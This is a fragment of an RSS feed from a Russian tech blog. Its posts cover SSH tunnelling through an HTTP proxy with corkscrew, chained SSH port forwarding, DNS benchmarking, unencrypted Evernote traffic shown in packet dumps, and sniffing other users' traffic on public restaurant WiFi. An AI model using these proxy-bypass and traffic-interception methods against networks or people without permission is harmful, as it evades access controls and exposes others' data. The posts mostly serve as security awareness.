		<guid isPermaLink="false">http://theapplegeek.ru/?p=3817</guid>
		<description><![CDATA[Давно я не писал про преодоление защиты сетей. Наверстываю. Все разы, когда я ездил за границу, в отелях практически всегда был нормальный доступ по WiFi на базе NAT (в основном через transparent proxy для авторизации, но никаких телодвижений по настройке прокси со стороны клиента не требовалось). Только два раза я натыкался на &#8220;тупые&#8221; конфигурации &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><img src="http://theapplegeek.ru/wp-content/uploads/2010/05/01_corkscrew-thumb1.png" height="200" align="right" width="160" style=" display: inline; float: right; margin: 0 0 10px 10px;" /></p>
<p>Давно я не писал про преодоление защиты сетей. Наверстываю.</p>
<p>Все разы, когда я ездил за границу, в отелях практически всегда был нормальный доступ по WiFi на базе NAT (в основном через transparent proxy для авторизации, но никаких телодвижений по настройке прокси со стороны клиента не требовалось). Только два раза я натыкался на &#8220;тупые&#8221; конфигурации &#8211; один раз в московском отеле, другой &#8211; в Амстердаме. Для работы приходилось прописывать прокси, руководствуясь информацией, полученной на receiption.</p>
<p>Конечно же, ssh через web-прокси не работает. Как назло во втором случае мне было очень нужно попасть на мой сервер. Я собирался выкручиваться путём записи на свой сайт скрипта, обеспечивающего доступ к shell, например, <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.askapache.com/ajax/php-and-ajax-shell-console.html" >PHP and AJAX shell console</a></noindex>, но <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://twitter.com/andy_shev" >@andy_shev</a></noindex> мне порекомендовал <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.agroman.net/corkscrew/README" >corkscrew</a></noindex>, утилиту для туннелирования SSH поверх HTTP-прокси. Ею я и воспользовался, за что Andy огромное спасибо.</p>
<p><span id="more-3817"></span></p>
<p>Одно &#8220;но&#8221;. Corkscrew использует метод CONNECT, а squid, использующийся в качестве web-прокси в большинстве случаев, в конфигурации по умолчанию разрешает CONNECT только на порт 443:</p>
<pre>
acl SSL_ports port 443
acl CONNECT method CONNECT
http_access deny CONNECT !SSL_ports
</pre>
<p>Поэтому corkscrew выдаст &#8220;Proxy could not open connnection to host.com: Forbidden&#8221; при попытке соединения на любой порт, на котором обычно вешается ssh. Мне повезло, так как я на своём сервере держал ssh на порту 443. Если и вы собираетесь воспользоваться corkscrew, то предварительно перекиньте ssh на 443/tcp.</p>
<p>Приступим. Я использую менеджер пакетов <a href="http://theapplegeek.ru/archives/3570" >HomeBrew</a>.</p>
<p>Обновляемся:</p>
<pre>
$ brew update
</pre>
<p>Ставим corkscrew:</p>
<pre>
$ brew install corkscrew
</pre>
<p>Предположим, прокси-сервер находится на адресе 192.168.99.101 и порту 3128. Добавляем в начало конфиг-файла ssh строки:</p>
<pre>
$ vim ~/.ssh/config
Host *
    ProxyCommand /usr/local/bin/corkscrew 192.168.99.101 3128 %h %p
</pre>
<p>Если ssh находится не на порту 443, и squid разрешает только порт 443, то получим сообщение (при указании флага &#8220;-v&#8221;):</p>
<pre>
$ ssh -v host.com
<small>...
debug1: Reading configuration data /etc/ssh_config
debug1: Executing proxy command: exec /usr/local/bin/corkscrew 192.168.99.101 3128 host.com 22
...
<b>Proxy could not open connnection to host.com:  Forbidden
ssh_exchange_identification: Connection closed by remote host</b></small>
</pre>
<p>Для решения проблемы нужно предварительно в конфиг-файле sshd на сервере поменять порт на 443 и перезапустить sshd (конечно же, на этом хосте не должен стоять web-сервер с https):</p>
<pre>
$ vim /etc/ssh/sshd_config
Port 443
</pre>
<p>Перезапуск sshd для разных систем делается по-своему, я делаю это через &#8220;ps ax | grep sshd&#8221;, а потом перезапускаю нужный sshd.</p>
<p>Всё, можно пользоваться:</p>
<pre>
$ ssh -v -p 443 host.com
<small>Linux host.com 2.6.32-linode23 #1 SMP Sat Dec 5 16:04:55 UTC 2009 i686

12:02 [ctrld@host][~] </small>
</pre>
<p>Решений для выход за пределы сети существует много. Описанный мною метод &#8211; только один из многих. Любой грамотный IT-специалист навскидку найдёт несколько вариантов, и по крайней мере один из них будет вполне рабочим. Поэтому я всегда скептически отношусь к заявлениям &#8220;Специалистов По Корпоративной Безопасности&#8221;, что они способны закрыть доступ.</p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/3817/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Тестирование производительности DNS-серверов и очередные вопросы безопасности</title>
		<link>http://theapplegeek.ru/archives/2317</link>
		<comments>http://theapplegeek.ru/archives/2317#comments</comments>
		<pubDate>Fri, 11 Dec 2009 14:25:03 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=2317</guid>
		<description><![CDATA[Не знаю, как вы, а я везде на своих личных ресурсах и WiFi-маршрутизаторах перешёл на Google DNS (8.8.8.8 и 8.8.4.4). К этому меня подтолкнула в том числе и проблема с DNS-серверами Воли (подтвердить это не могу, но какое-то время один из них не ничего резолвил). Можно долго рассуждать о приватности и о том, что Google [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://theapplegeek.ru/wp-content/uploads/2009/12/01_dnsbench-thumb1.png" height="197" align="right" width="150" style=" display: inline; float: right; margin: 0 0 10px 10px;" /></p>
<p>Не знаю, как вы, а я везде на своих личных ресурсах и WiFi-маршрутизаторах перешёл на <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://code.google.com/speed/public-dns/" >Google DNS</a></noindex> (8.8.8.8 и 8.8.4.4). К этому меня подтолкнула в том числе и проблема с DNS-серверами Воли (подтвердить это не могу, но какое-то время один из них не ничего резолвил).</p>
<p>Можно долго рассуждать о приватности и о том, что Google делает с запросами. Да, я думаю, что на основании этих запросов строятся модели поведения пользователей, и это явно используется в бизнесе Google. Но в данном случае я отношусь к категории &#8220;неуловимых Джо&#8221; &#8211; мне абсолютно безразлично, что обо мне собирают данные таким образом, так как моя модель поведения в Интернет легальна и не отличается от миллионов других пользователей.</p>
<p><span id="more-2317"></span></p>
<p>Сегодня я решил протестировать скорость работы различных DNS. Тестирование отнюдь не комплексное, я делаю проверку на своём ADSL-соединении. Но и не ставлю перед собой открыть абсолютную истину &#8211; каждый выбирает решение для своих условий и задач, и для этого есть полезный инструмент бенчмаркинга DNS &#8211; <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://code.google.com/p/namebench/" >Namebench</a></noindex> (Open Source, есть версии под Mac OS X 10.5+, Win и Unix). Ещё сделаю замечание, что это тестирование я отнюдь не делаю &#8220;на злобу дня&#8221; &#8211; тесты проводились многими сразу же после анонса Google DNS, мне же стало интересно самому попробовать.</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/12/02_dnsbench-full.png"  class="image-link" rel="lightbox[2317]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/12/02_dnsbench-thumb.png" height="279" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Я указал для проверки DNS-сервер провайдера (192.168.99.1 транслирует запросы на один из них), DNS Google (8.8.8.8, 8.8.4.4), а сама система автоматически добавила публичные сервера (OpenDNS, UltraDNS, etc). За 5 минут работы система протестировала 11 серверов и сгенерировала файл html с результатами.</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/12/03_dnsbench-full.png"  class="image-link" rel="lightbox[2317]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/12/03_dnsbench-thumb.png" height="241" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/12/04_dnsbench-full.png"  class="image-link" rel="lightbox[2317]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/12/04_dnsbench-thumb.png" height="298" width="499" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Анализировать не буду, хотя записи &#8220;www.paypal.com. hijacked (&#8216;Re-Request in TCP\000&#8242;)&#8221; достаточно любопытны. Вполне возможно, что DNS-сервер ns2.life.ua подвержен <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.securesphere.net/download/papers/dnsspoof.htm" >DNS spoofing&#8217;у</a></noindex>, и в комбинации с SSL bypass трафик пользователей на тот же paypal может очень эффективно утекать к &#8220;злоумышленникам&#8221;.</p>
<p>По крайней мере я увидел, что Google DNS хоть и не самые быстрые, но держат средние позиции. А по надёжности и актуальности версии софта на мой личный взгляд они самые лучшие. Поэтому я их выбрал изначально и их же после теста оставляю.</p>
<p>О бизнесе Google я сказал выше &#8211; он понятен и честен. А вот бизнес компаний вроде UltraDNS и OpenDNS на мой взгляд сомнителен. Да, они делают хорошее дело &#8211; предоставляют всем желающим свои сервера для резолвинга. Но с небольшим бонусом (NXDOMAIN Hijacking). На запросы несуществующих доменов (например, пользователь ошибся) вместо выдачи Name Error (NXDOMAIN) эти компании выдают адрес своего web-сервера:</p>
<pre>
$ dig @156.154.70.1 cccccccccc.ua
cccccccccc.ua.		600	IN	A	92.242.140.13

$ dig @208.67.220.220 cccccccccc.ua
cccccccccc.ua.		0	IN	A	67.215.65.132
</pre>
<p>Ничего особенного &#8211; пользователю выдаётся страница с сообщением о том, что домен не найден и строкой поиска и блоком рекомендуемых ссылок.</p>
<p>Например, UltraDNS:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/12/05_dnsbench-full.png"  class="image-link" rel="lightbox[2317]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/12/05_dnsbench-thumb.png" height="251" width="499" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>А OpenDNS меня поразил своей страницей &#8211; это уже перебор:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/12/06_dnsbench-full.png"  class="image-link" rel="lightbox[2317]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/12/06_dnsbench-thumb.png" height="467" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>И понятно, что таким образом компании зарабатывают деньги на поддержание сервиса. Но для меня это сродни спаму и я категорически не пользуюсь ни OpenDNS, ни UltraDNS. И я рад, что в нишу публичных DNS-серверов пришёл Google &#8211; <a href="http://theapplegeek.ru/archives/1868" >аналогичную радость я испытывал</a>, когда Apple вышла на рынок с iPhone в противовес классическим производителям мобильных телефонов.</p>
<p>Да&#8230; Я хотел всего продемонстрировать программу тестирования производительности DNS. Но сколько волка не корми &#8211; он лезет в область безопасности. Тем более, что куда ни ткни, есть огромные дыры. Начиная от инъекции рекламы, заканчивая DNS spoofing&#8217;ом/DNS poisoning&#8217;ом. Размышляйте &#8211; это полезно.</p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/2317/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>О безопасности бесплатной версии Evernote</title>
		<link>http://theapplegeek.ru/archives/2299</link>
		<comments>http://theapplegeek.ru/archives/2299#comments</comments>
		<pubDate>Thu, 10 Dec 2009 17:05:12 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=2299</guid>
		<description><![CDATA[Хочу дать немного пищи для ума. Многие пользуются сервисом Evernote (я &#8211; в том числе) и хранят в нём достаточно много информации. И она бывает достаточно конфиденциальной. Например, это могут быть пароли к каким-то сервисам, лицензионные ключи и много другого, что совсем не предназначено для посторонних глаз. Разработчики Evernote не альтруисты, и они хотят заработать [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://theapplegeek.ru/wp-content/uploads/2009/12/01_eversec-thumb1.png" height="200" align="right" width="200" style=" display: inline; float: right; margin: 0 0 10px 10px;" /></p>
<p>Хочу дать немного пищи для ума. Многие пользуются сервисом <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/https://www.evernote.com/" >Evernote</a></noindex> (я &#8211; в том числе) и хранят в нём достаточно много информации. И она бывает достаточно конфиденциальной. Например, это могут быть пароли к каким-то сервисам, лицензионные ключи и много другого, что совсем не предназначено для посторонних глаз.</p>
<p>Разработчики Evernote не альтруисты, и они хотят заработать деньги. Поэтому предлагается бесплатная и платная версии. Подписка на Premium в год стоит $45.</p>
<p>Давайте внимательно посмотрим <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/https://www.evernote.com/Checkout.action" >на то, чем различается</a></noindex> бесплатная и платная версии сервиса (я цитирую русскую версию):</p>
<blockquote>
<p>Вот что получают премиум-пользователи Evernote</p>
<ul>
<li>Увеличенный до 500 МБ* в месяц объем загружаемых заметок</li>
<li>Возможность прикреплять, синхронизировать и получать доступ к любому файлу на всех платформах и устройствах</li>
<li>Поиск текста в изображениях внутри в PDF</li>
<li>Усиленную безопасность с применением протокола SSL при входе в систему и передаче данных</li>
<li>Приоритетное распознавание текста в изображениях</li>
<li>Приоритетное обслуживание и поддержка</li>
<li>Отсутствие рекламы</li>
<li>Другие эксклюзивные возможности — совсем скоро!</li>
</ul>
</blockquote>
<p><span id="more-2299"></span></p>
<p>Да, объёмы важны. Да, приоритетное распознавание замечательно. Да, отсутствие рекламы радует. Но вот обратили ли вы внимание на 4-й пункт?</p>
<p>А теперь давайте в бесплатной версии создадим заметку и применим <a href="http://theapplegeek.ru/archives/431" >tshark</a> и <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man1/hexdump.1.html" >hexdump</a></noindex>. Для демонстрации эта заметка озаглавлена &#8220;testtestsubject&#8221; и содержит поле &#8220;testtestbody&#8221;.</p>
<p>И что же мы видим?</p>
<pre>
<small>Hypertext Transfer Protocol
    POST /edam/note/s16 HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): POST /edam/note/s16 HTTP/1.1\r\n]
            [Message: POST /edam/note/s16 HTTP/1.1\r\n]
            [Severity level: Chat]
            [Group: Sequence]
        Request Method: POST
        Request URI: /edam/note/s16
        Request Version: HTTP/1.1
    Host: www.evernote.com\r\n
    User-Agent: Evernote Mac/66805 (en-UA); MacOS/10.6.2;\r\n
    Accept: application/x-thrift\r\n
    Content-Type: application/x-thrift\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    Content-Length: 111\r\n
        [Content length: 111]
    Connection: keep-alive\r\n
    \r\n
Media Type
    Media Type: application/x-thrift (111 bytes)</small>
</pre>
<p>Application/x-thrift содержит такие данные:</p>
<pre>
<small>0001a900  28 50 18 ff ff 09 fb 00  00 00 00 00 0a 63 72 65  |(P...........cre|
0001a910  61 74 65 4e 6f 74 65 01  00 00 00 00 0b 00 01 00  |ateNote.........|
0001a920  00 00 52 53 3d 73 31 36  3a 55 3d 31 63 65 38 64  |..RS=s16:U=1ce8d|
0001a930  31 3a 45 3d 31 32 35 37  39 61 34 39 64 38 65 3a  |1:E=12579a49d8e:|
0001a940  43 3d 31 32 35 37 39 36  64 61 66 30 66 3a 50 3d  |C=125796daf0f:P=|
0001a950  33 66 3a 48 3d 66 30 34  65 66 36 62 34 34 63 65  |3f:H=f04ef6b44ce|
0001a960  33 61 32 39 32 34 35 35  31 63 61 38 37 61 66 34  |3a2924551ca87af4|
0001a970  38 63 30 61 66 0c 00 02  0b 00 02 00 00 00 0f 74  |8c0af..........t|
0001a980  65 73 74 74 65 73 74 73  75 62 6a 65 63 74 0b 00  |esttestsubject..|
0001a990  03 00 00 00 91 3c 3f 78  6d 6c 20 76 65 72 73 69  |.....&lt;?xml versi|
0001a9a0  6f 6e 3d 22 31 2e 30 22  20 65 6e 63 6f 64 69 6e  |on="1.0" encodin|
0001a9b0  67 3d 22 55 54 46 2d 38  22 3f 3e 0a 3c 21 44 4f  |g="UTF-8"?&gt;.&lt;!DO|
0001a9c0  43 54 59 50 45 20 65 6e  2d 6e 6f 74 65 20 53 59  |CTYPE en-note SY|
0001a9d0  53 54 45 4d 20 22 68 74  74 70 3a 2f 2f 78 6d 6c  |STEM "http://xml|
0001a9e0  2e 65 76 65 72 6e 6f 74  65 2e 63 6f 6d 2f 70 75  |.evernote.com/pu|
0001a9f0  62 2f 65 6e 6d 6c 2e 64  74 64 22 3e 0a 3c 65 6e  |b/enml.dtd"&gt;.&lt;en|
0001aa00  2d 6e 6f 74 65 3e 74 65  73 74 74 65 73 74 62 6f  |-note&gt;testtestbo|
0001aa10  64 79 c2 a0 c2 a0 c2 a0  c2 a0 c2 a0 3c 2f 65 6e  |dy..........&lt;/en|
0001aa20  2d 6e 6f 74 65 3e 0b 00  04 00 00 00 10 5c fd 82  |-note&gt;.......\..|</small>
</pre>
<p>Заметили &#8220;testtestsubject&#8221; и &#8220;testtestbody&#8221;? Именно об этом и говорит пункт 4.</p>
<p>Не обращайте внимание на &#8220;Усиленную безопасность с применением протокола SSL <b>при входе в систему</b>&#8221; &#8211; аутентификация как в платной, что в бесплатной версии идёт по SSL, и пароль доступа в Evernote надёжно защищён.</p>
<p>Но вот содержимое заметок в бесплатной версии вполне просто получить злоумышленнику. Радует то, что при использовании клиента Evernote данные кешируются локально, и каждый раз не гоняются через сеть. Но вот новые и модифицируемые заметки, как вы видите, вполне доступны.</p>
<p>Подходите к безопасности осознанно. И если она для вас реально важна, то или покупайте premium-версию Evernote, или же не используйте этот сервис.</p>
<p>Но если вы критичные данные не храните, то Evernote очень хорош и я его с этой оговоркой очень рекомендую.</p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/2299/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Туннелирование SSH</title>
		<link>http://theapplegeek.ru/archives/2285</link>
		<comments>http://theapplegeek.ru/archives/2285#comments</comments>
		<pubDate>Thu, 10 Dec 2009 15:20:58 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=2285</guid>
		<description><![CDATA[Предположим типичную для системного администратора задачу &#8211; есть сервер где-то в глубине сети, на который нужно попасть, предположим, по http, но консольный lynx/elinks не подходит, а нужен именно Safari/Firefox/Chrome (например, сайт на flash или нужна Java). Причём прямого доступа с ноутбука из Интернет на этот сервер нет, но есть &#8220;jumpbox&#8221; (сервер, исключительно через который открыт [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://theapplegeek.ru/wp-content/uploads/2009/12/01_sshtun1-thumb1.png" height="124" align="right" width="120" style=" display: inline; float: right; margin: 0 0 10px 10px;" /></p>
<p>Предположим типичную для системного администратора задачу &#8211; есть сервер где-то в глубине сети, на который нужно попасть, предположим, по http, но консольный lynx/elinks не подходит, а нужен именно Safari/Firefox/Chrome (например, сайт на flash или нужна Java). Причём прямого доступа с ноутбука из Интернет на этот сервер нет, но есть &#8220;jumpbox&#8221; (сервер, исключительно через который открыт доступ по ssh в закрытую сеть). У меня такая ситуация была, когда нужно было попасть на IP-KVM внутри закрытой firewall&#8217;ом сети (я использовал ssl, но здесь для простоты покажу на примере порта 80).</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/12/02_sshtun1-full.png"  class="image-link" rel="lightbox[2285]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/12/02_sshtun1-thumb.png" height="344" width="408" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><span id="more-2285"></span></p>
<p>Итак, имеем:</p>
<ol>
<li>notebook. Находится в Интернет.</li>
<li>server1 (8.8.8.9). На него разрешён доступ по ssh (желательно использовать технику <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.thoughtcrime.org/software/knockknock/" >port-knocking</a></noindex> для предоставления доступа к ssh только после нескольких запросов на разные порты этого сервера, иначе отбой).</li>
<li>server2 (9.9.9.1). Шлюз сети, но по ssh из Интернет на него попасть нельзя, на него открыт доступ по ssh исключительно с server1. Второй интерфейс сервера смотрит во внутреннюю сети и с него есть доступ на webserver</li>
<li>webserver (10.10.10.2). Доступ на web-сервер есть только из внутренней сети, в частности с server 2</li>
</ol>
<p>Задача: с notebook получить доступ к webserver по http.</p>
<p><b>Шаг 1.</b> На ноутбуке строим ssh-туннель на server1 (конечно же, туннелирование не должно быть запрещено в /etc/sshd_config &#8211; параметр PermitTunnel по умолчанию включен)</p>
<pre>
ssh user_on_server1@8.8.8.9 -L 2000:9.9.9.1:22 -N
</pre>
<p>Начало туннеля на ноутбуке (localhost, порт 2000), конец &#8211; на server2 на порту 22.</p>
<p>-N &#8211; не выполнять команды на удалённом хосте, полезно для туннелирования.</p>
<p><b>Шаг 2.</b> Строим второй туннель поверх первого туннеля на webserver. Заметьте, что при соединии на порт 2000 на localhost соединение пробрасывается на 9.9.9.1 порт 22 (server2, и нужно вводить пароль пользователя именно на server2):</p>
<pre>
ssh -p 2000 user_on_server2@localhost -L 80:10.10.10.2:80 -N
</pre>
<p>Учтите, что web-sharing на ноутбуке должен быть отключен, иначе соединение не установится. Если же отключить его нельзя, то можно перекинуть на другой порт начало туннеля.<br />
Получили туннель с началом на localhost, порт 80, и концом &#8211; на порту 80 webserver&#8217;а.</p>
<p><b>Шаг 3.</b> Запускаем браузер и указываем http://127.0.0.1. Поверх двух туннелей заходим через Интернет на web-сервер во внутренней сети.</p>
<p>Если на web-сервере явно прописано имя сайта, как в wordpress (например, www.site.com), то первый же линк сайта уведёт с localhost на www.site.com. Если такое случилось, то делаем трюк, явно пишем в /etc/hosts:</p>
<pre>
127.0.0.1	www.site.com
</pre>
<p>Главное потом убрать эту строку, когда понадобится прямой доступ.</p>
<p>Туннелирование очень мощный инструмент, но с первого раза просто запутаться. Пару экспериментов &#8211; и всё станет понятно. Конфигурацию с web-сервером я привёл для примера. Точно так же можно организовать проброс для соединения с сервером Windows по RDC, на VPN SSL-сервер и т.п.</p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/2285/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Встреча Мак-пользователей. Кратко о сетевой безопасности</title>
		<link>http://theapplegeek.ru/archives/2057</link>
		<comments>http://theapplegeek.ru/archives/2057#comments</comments>
		<pubDate>Mon, 30 Nov 2009 11:10:56 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=2057</guid>
		<description><![CDATA[Как вы знаете, небольшая группа киевлян (в составе двух представителей iLand и меня) посетила встречу Мак-пользователей в Москве. Мероприятие мне понравилось, с удовольствием поучаствую в дальнейших. Кроме этого я после месячного перерыва выпил кофе в Старбаксе. В общем поездка удалась. По дороге к Старбаксу мы перекусили в заведении &#8220;Жан-Жак&#8221;, отведав французской кухни. Там я по [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://theapplegeek.ru/archives/1996" >Как вы знаете</a>, небольшая группа киевлян (в составе двух представителей <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://blog.iland.com.ua/" >iLand</a></noindex> и меня) посетила <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.shortcut.ru/2009/11/25/mug-28-november/" >встречу Мак-пользователей в Москве</a></noindex>. Мероприятие мне понравилось, с удовольствием поучаствую в дальнейших. Кроме этого я после месячного перерыва выпил кофе в Старбаксе. В общем поездка удалась.</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/11/02_macevent-full.png"  class="image-link" rel="lightbox"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/11/02_macevent-thumb.png" height="570" width="427" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><span id="more-2057"></span></p>
<p>По дороге к Старбаксу мы перекусили в заведении &#8220;Жан-Жак&#8221;, отведав французской кухни.</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/11/03_macevent-full.png"  class="image-link" rel="lightbox"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/11/03_macevent-thumb.png" height="570" width="427" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/11/04_macevent-full.png"  class="image-link" rel="lightbox"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/11/04_macevent-thumb.png" height="570" width="427" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Там я по привычке решил проверить, как обстоят дела с безопасностью в сети WiFi (это была широко распространённая сеть BeelineFreeWiFi, точно название не помню, но она была и в &#8220;Драфте&#8221;). Если раньше мне приходилось ухищряться, <a href="http://theapplegeek.ru/archives/1926" >запуская поддельные arp-запросы</a>, чтобы перехватить чужой трафик, то здесь я оказался в лёгком ступоре &#8211; чужой unicast-трафик доступен любому, кто подключился в эту сеть, причём без всяческих MITM.</p>
<p>Поясню своё удивление. На тестовом стенде, состоящем из WiFi-маршрутизатора <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.linksysbycisco.com/US/en/products/WRT610N" >Linksys WRT610n</a></noindex>, iPhone &#8220;жертвы&#8221; и ноутбука &#8220;исследователя&#8221;, я вижу исключительно трафик broadcast/multicast (на iPhone я активно хожу при этом по web):</p>
<pre>
<small>115.713064 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
116.020249 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
116.020298 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
116.225019 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
116.327381 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
117.248977 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
119.194596 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
123.290697 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
131.278119 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local</small>
</pre>
<p>Для заворачивания чужого трафика нужно реализовать <a href="http://theapplegeek.ru/archives/1926" >MITM-атаку</a>. Войдя в сеть WiFi Билайн, я увидел весь unicast-трафик без каких-либо ухищрений. Выдержки показывать не буду, я их не сохранял, но в двух ресторанчиках ситуация _идентична_. Ребята мельком видели WiFi Access Point DLink в первом заведении&#8230; Вероятно именно в этом проблема. Мне рассказали первую заповедь sales-менеджера: &#8220;DLink не продавать!!!&#8221;. Я полностью с этим согласен, у меня был когда-то DLink, и для того, чтобы войти в сеть WiFi, мне приходилось перед сеансом работы передёргивать его по питанию. Это было давно, и сейчас я использую либо Linksys, либо Airport.</p>
<p>Я не специалист по беспроводному доступу, но могу провести аналогию с коммутаторами. Unicast-трафик начинает флудить на все порты (аналогично broadcast/multicast) в том случае, если коммутатор теряет таблицу MAC-адресов (например, из-за переполнения она обнуляется), и ему приходится её строить заново. Вероятно используются AccessPoint low-end типа DLink, которые расчитаны, допустим, на 10 одновременных подключёний, а их гораздо больше. Или же эти low-end AP работают только в режиме &#8220;хаба&#8221;. В общем безопасность сетей публичного доступа близка к нулю, особенно если это усугубляется дешевизной решения. Я буду благодарен за ваши мысли в комментариях по поводу такого странного поведения.</p>
<p>Вечером в ресторане &#8220;Драфт&#8221; за 20 минут я идентифицировал четыре iPhone, затем (без MITM) перехватил трафик со своего iPhone. Для демонстрации я сделал публикацию статьи в своём блоге (обычный XML-RPC через клиент WordPress через обычный для всех блогов http) и получил без малейшего усилия всю информацию по доступу к блогу. После этого я, конечно же, поменял пароль, соединившись на Маке через любимый OpenVPN.</p>
<p>Резюмирую. Безопасности нужно уделять хоть какое-то внимание. Не стоит важные вещи делать через WiFi, желательно иметь VPN-соединение end-to-end, или же все операции производить через протоколы с поддержкой SSL (https, imaps). Иначе сюрприз в виде утечки важной информации не заставит долго ждать.</p>
<p><br class="final-break" style="clear: both" /></p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/2057/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Перехват трафика устройств, подключённых через публичную точку доступа WiFi (атака MITM)</title>
		<link>http://theapplegeek.ru/archives/1926</link>
		<comments>http://theapplegeek.ru/archives/1926#comments</comments>
		<pubDate>Thu, 19 Nov 2009 14:25:21 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=1926</guid>
		<description><![CDATA[Вчера @akaDimiG сбросил мне небольшую заметку &#8220;Безопасность Wi-Fi в iPhone под сомнением&#8220;, которая с первого взгляда у меня вызвала большое сомнение. 4 ноября компания SMobile Global Threat Center опубликовала исследование об атаке MITM (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi. Ничего нового это исследование не открыло [...]]]></description>
